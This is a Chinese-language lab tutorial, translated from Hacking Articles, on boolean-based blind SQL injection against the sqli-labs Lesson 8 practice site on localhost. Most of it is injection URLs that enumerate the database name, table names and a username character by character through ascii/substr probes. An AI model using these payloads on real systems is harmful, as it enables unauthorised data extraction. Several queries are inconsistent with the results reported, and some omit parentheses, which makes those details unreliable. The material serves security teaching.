如今有很多種使用SQL注入攻擊資料庫的方法,比如之前的教程(SQL注入新手教程(第一部分)1、SQL注入新手教程(第一部分)2)中已經見過的基於錯誤返回的攻擊、基於登錄表單的攻擊和其他許多不同形式的攻擊,其目的都是獲取資料庫中的信息。同樣地,今天我們將要學習一種新的SQL注入攻擊方法——基於布爾的盲注。
攻擊者通常在URL中嵌入(')來檢查是否可以進行SQL注入攻擊,使用(')是為了得到SQL錯誤返回信息。這是一場開發者和攻擊者之間的戰爭,每當開發者提升了安全防護級別,攻擊者就得絞盡腦汁地去攻破它。這一次開發者並沒有將錯誤信息以輸出的形式呈現在Web頁面上。因此,即使該資料庫是易於被SQL注入的,攻擊者也無法獲得任何相關錯誤信息。然而,道高一尺,魔高一丈。此時攻擊者就會通過估計不同的查詢結果,TRUE或者FALSE,來確定該資料庫是否可被盲注。
開始吧!
我們使用Dhakkan平台來學習盲注。
Lesson 8
首先在瀏覽器中輸入http://localhost:81/sqli/Less-8/?id=1打開該平台(註:輸入具體以個人實際情況為準,這裡是原作者的配置,僅供參考)。
這時會向資料庫送入一條查詢:SELECT * from table_name WHERE id=1
由上圖可以看出,其結果就是得到一個以黃顏色顯示的"You are in..........."的Web頁面。
當攻擊者使用嵌入(')的查詢,即:http://localhost:81/sqli/Less-8/?id=1'
由上圖可以看出,該黃顏色文本消失了,也沒有得到任何錯誤信息,使用其他攻擊方式的情況與此相同。
那麼攻擊者只好通過盲注來進行驗證了,該注入查詢返回的一定是TRUE或者FALSE。
http://localhost:81/sqli/Less-8/id=1' AND 1=1 -+
對應的後端查詢為:SELECT * from table_name WHERE id=1' AND 1=1
資料庫會對給定的情況1=1進行檢查,如果查詢有效,它就會返回TRUE。由上圖可以看出,我們又得到了黃顏色顯示的"You are in...........",這意味著該查詢是有效的。
接著下一條查詢,http://localhost:81/sqli/Less-8/?id=1' AND 1=0 -+
對應的後端查詢為:SELECT * from table_name WHERE id=1' AND 1=0
同樣的,資料庫會對給定的情況1=0進行檢查,顯然該查詢無效的,因此返回FALSE。由上圖可以看出,該黃顏色文本右消失了。
以上即可說明該資料庫是可被盲注的,由此我們就可以獲取資料庫信息了。
數字型檔中字元串長度
下面的查詢中將會求資料庫中的字元串長度。例如,資料庫名為IGNITE,它包含了6個字母,那麼該資料庫字元串IGNITE的長度就等於6。
與此類似的,我們使用以下注入查詢來檢查當前資料庫名的長度是否等於1,通過是否顯示文本"You are in..........."即可判斷返回的是TRUE還是FALSE。
http://localhost:81/sqli/Less-8/?id=1' AND (length(database)) = 1 -+
由上圖可以看出,返回的是FALSE,這意味著當前資料庫名的長度不等於1。
由上圖可以看出,當前資料庫名的長度不等於2。
...
http://localhost:81/sqli/Less-8/?id=1' AND (length(database)) = 8 -+
由上圖可以看出,當檢查到8時,文本"You are in..........."又出現了,這意味著當前資料庫名的長度為8。
眾所周知,計算機無法理解人類的語言,它只能理解二進位語言,因此,我們要使用ASCII碼。ASCII碼將字符集中的每一個符號都對應於一個整數,比如字母、數字、標點符號、特殊字元和操作符。
1 = I = 73
2 = G = 71
3 = N = 78
4 = I = 73
5 = T = 84
6 = E = 69
圖片來源:www.lookuptables.com
接下來我們要使用ASCII碼枚舉出這8個字元。
下一條查詢使用關鍵字ascii substr檢查當前資料庫名中的第一個字元對應的ASCII碼是否大於100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database),1,1))) > 100 -+
由上圖可以看出,第一個字元的ASCII碼確實大於100。
由上圖可以看出,第一個字元的ASCII碼小於120。這意味著第個字元的ASCII碼在100和120之間。
接下來逐個檢查。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database),1,1))) = 101 -+
由上圖可以看出,第一個字元的ASCII碼不等於101。
...
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database),1,1))) = 114 -+
由上圖可以看出,第一個字元的ASCII碼不等於114。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database),1,1))) = 115 -+
由上圖可以看出,返回的是TRUE,意味著第一個字元的ASCII碼等於115,即's'(小寫)。
接下來就是第二個字元,重複以上步驟。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database),2,1))) > 100 -+
...
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database),2,1))) = 101 -+
由上圖可以看出,返回的是TRUE,意味著第二個字元的ASCII碼等於101,即'e'(小寫)。
同理即可得到全部的8個字元,具體如下:
1 = s = 115
2 = e = 101
3 = c = 99
4 = u = 117
5 = r = 114
6 = i = 105
7 = t = 116
8 = y = 121
表中字元串長度
我們還得使用同樣的技術來獲取資料庫中的表的信息。以下查詢會檢查第一個表名的長度是否大於5。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database limit 0,1))) > 5 -+
由上圖可以看出,第一個表名的長度確實大於5。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database limit 0,1))) > 6 -+
由上圖可以看出,第一個表名的長度不大於6。其實這已經意味著第一個表名的長度等於6了,不過為了演示,還是執行以下查詢:
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database limit 0,1))) = 6 -+
由上圖可以看出,第一個表名的長度確實等於6。
類似的,我用同樣的技術測試了第二個和第三個表名的長度,改變一下上面所用查詢中的表的編號即可。
再來演示一下如何測試第四個表名的長度。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database limit 3,1))) = 6 -+
由上圖可以看出,第四個表名的長度等於5。
然後就是枚舉表名的具體字元,所用方法和前面的相同,這裡以第四個表名為例。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database limit 3,1),1,1))) > 115 -+
由上圖可以看出,該表名第一個字元的ASCII碼大於115。
接下來測試表名第一個字元的ASCII碼是否大於120。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database limit 3,1),1,1))) > 120 -+
由上圖可以看出,該表名第一個字元的ASCII碼小於120。結合上面可知,該表名第一個字元的ASCII碼位於115到120之間,接著逐個檢測。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database limit 3,1),1,1))) = 116 -+
由上圖可以看出,該表名第一個字元的ASCII碼不等於116。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database limit 3,1),1,1))) = 117 -+
由上圖可以看出,該表名第一個字元的ASCII碼等於117。這意味著第四個表名的第一個字元為'u'(小寫)。
同理即可得到第四個表名的全部字元,如下:
1 = u = 117
2 = s = 115
3 = e = 101
4 = r = 114
5 = s = 115
枚舉用戶名
接下來我們使用同樣的技術測試一下表users中用戶名的長度。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 -+
由上圖可以看出,用戶名的長度等於5。
然後就是枚舉用戶名的具體字元,還是之前的技術。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 100 -+
由上圖可以看出,該用戶名第一個字元的ASCII碼小於100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 50 -+
由上圖可以看出,該用戶名第一個字元的ASCII碼大於50。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 60 -+
由上圖可以看出,該用戶名第一個字元的ASCII碼大於60。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 70 -+
由上圖可以看出,該用戶名第一個字元的ASCII碼不大於70。結合上面可知,該用戶名第一個字元的ASCII碼位於60到70之間,接著逐個檢測。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) = 68 -+
由上圖可以看出,該用戶名第一個字元的ASCII碼等於68。這意味著第一個字元為'D'(大寫)。
同理即可得到該用戶名的全部字元,如下:
1 = D = 68
2 = u = 117
3 = m = 109
4 = b = 98
到此為止,我們已經學會了如何使用盲注技術來攻擊資料庫。
本文由 看雪翻譯小組 hesir 編譯,來源 Hacking Articles@Raj Chandel
如果你喜歡的話,不要忘記點個贊哦!
熱門閱讀文章: